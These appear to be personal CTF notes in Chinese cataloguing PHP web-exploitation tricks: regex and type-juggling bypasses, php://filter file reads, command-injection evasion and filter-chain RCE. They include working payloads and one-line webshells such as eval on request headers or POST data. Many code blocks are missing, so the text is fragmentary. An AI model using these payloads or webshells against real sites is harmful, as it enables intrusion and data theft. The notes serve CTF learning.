interesting2
php
函数
trim
语法 |
if(trim($x)!=='1' && is_numeric($x)){ |
–>+
,-
,.
,%0C
preg_match
-
数组绕过 返回false
-
回溯绕过 回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,preg_match返回的非1和0,而是false
-
换行绕过.用于任意字符匹配并不包括换行符,而且^ $界定了必须在同一行,否则匹配不到,直接利用%0a
\i |
Int_val
intval (mixed $var [, int $base = 10] ) : int |
is_numeric
过base64 + hex 之后的字符串仅包含 [0-9] 和 e, 才能够绕过 is_numeric() 的检测 |
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据 |
gettext拓展,开启此拓展_() 等效于 gettext()
get_defined_vars ( void ):
array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量
call_user_func
call_user_func(callable $callback, mixed ...$args): mixed |
call_user_func() 命名空间的使用 |
用call_user_func()来调用一个类里面的方法 |
把完整的函数作为回调传入call_user_func() |
create_function()
‘’’
create_function
是 PHP 的一个内置函数,但是在 PHP 7.2.0 以后,这个函数已经被废弃,官方文档中推荐使用匿名函数作为替代。
例如:
|
在这个例子中,create_function
创建了一个新函数,这个函数接收一个参数 x 并且返回 x 的平方。然后我们用这个新函数来计算 3 的平方。
create_function 函数在 PHP 内部实际上是使用了 eval() 函数来创建新的函数。
|
在上面这个例子中,\
被用来绕过正则表达式(其他符号试过貌似都不行),}
是结束前一个函数体,//
是注释后面的内容。总的来说,这个例子是利用 create_function
来执行 tac /flag
.
‘’’
直接对着闭合就行,name处也可以注入
源代码: |
get_defined_vars()
获取所有文件(包括包含的文件)变量的值
file_get_contents()
懂得都懂
phpinfo()
懂得都懂
require_once
在php中,require_once在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含,那么我们可以尝试绕过这个机制吗?不写入webshell只读文件有办法吗?
|
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里就可以用伪协议配合多级符号链接的办法进行绕过
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
ereg() / eregi()
NULL截断漏洞:
ereg()函数存在NULL截断漏洞,可以%00截断,遇到%00则默认为字符串的结束,所以可以绕过一些正则表达式的检查。
ereg()只能处理字符串的,遇到数组做参数返回NULL。
strpos()
- 以数组为参数
strpos()函数如果传入数组,便会返回NULL。 - 二次编码绕关键字
参考 - 大小写绕过
strpos() 函数对大小写敏感
strcmp()
strcmp()
函数比较两个字符串(区分大小写),定义中是比较字符串类型的,但如果输入其他类型这个函数将发生错误,在官方文档的说明中说到在php 5.2版本之前,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0。
is_file() / file_exists()
超过20次软链接后可以绕过:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
is_file
在使用php的伪协议时候会返回false,除了file://协议以外
file_exists()
构造不存在的文件
/nice/../../proc/self/cwd/flag.php
./nice/../flag.php
php特性之[
->_
php会将怪异的变量名转换成有效的,在进行解析时会删除空白符,并将空格、+
、.
、[
转换为下划线
但是[
提前出现后,[
会转换成下划线,而后面的字符就不会再被转义了。
php伪随机数
/Users/dionysus/PHP/一些具体的题/伪随机数脚本前.py
得到target
cd /Users/dionysus/Downloads/php_mt_seed-4.0
time ./php_mt_seed target
得到种子
time ./php_mt_seed 762464408
然后/Users/dionysus/PHP/一些具体的题/伪随机数脚本后.php
短标签
?><?= ·tail /f*·?·>
这里·指反引号 内联执行
这个标签可以直接输出括号中的内容
命令执行
无过滤或简单过滤
ls|tee 1.txt #命令输出到1.txt文件中 |
命令拼接
`${PATH:~A}` `${PWD:~A}` `${IFS}` `????.???` -> `nl flag.php` |
无回显盲注脚本
import requests |
head头执行命令
<?php eval(getallheaders()['Cookie'])?>
c=session_start();system(session_id());passid=ls
php://filter
- 无过滤器:
php://filter/resource=
- 字符串过滤器:
php://filter/read=string.rot13/resource=
php://filter/read=string.toupper/resource=
php://filter/read=string.tolower/resource=
php://filter/read=string.string_tags/resource=
- 转换过滤器:
php://filter/read=convert.base64-encode/resource=
php://filter/read=convert.quoted-printable-encode/resource=
php://filter/read=convert.iconv.utf-8.utf-16le/resource=
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str )
:将字符串$str
从in_charset
编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[dotast]);?>'); |
payload: file=php://filter/read=convert.quoted-printable-encode/resource=flag.php |
filter过滤 |
Base64编码中只包含64个可打印字符A-Za-z0-9/+=,而PHP在解码base64时,遇到不在其中的字符包括不可见字符、控制字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
|
首先我们都知道
include "php://filter/convert.base64-decode/resource=./flag.php";
这里包含的是flag.php
的内容经过base64编码后的结果。除了这个filter,PHP Filter 当中还有一种convert.iconv
的Filter
,可以用来将数据从字符集A
转换为字符集B
。可以通过命令iconv -l
列出支持的字符编码,虽然列出的字符编码比较多,但一些实际上是其他字符集的别名
convert.iconv.UTF8.CSISO2022KR
将始终在字符串前面添加\x1b$)C
,\x1b
是不可见字符
eg:<?=
$_GET[0];;?>
以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4=
,然后通过各种字符编码组合 fuzz 出所有单字符的编码形式,而且并不是所有出现了合法字符的编码形式就是符合要求的,然后把符合要求的组合起来即可
代码在/Users/dionysus/PHP/base64filter_rce.php
变量覆盖
|
extract() |
$$符号在php中叫做可变变量,可以使变量名动态设置。举个例子 |
|
parse_str() |
内置类
eval("echo new $v1($v2());");
?v1=Exception&v2=system('tac fl36dg.txt') |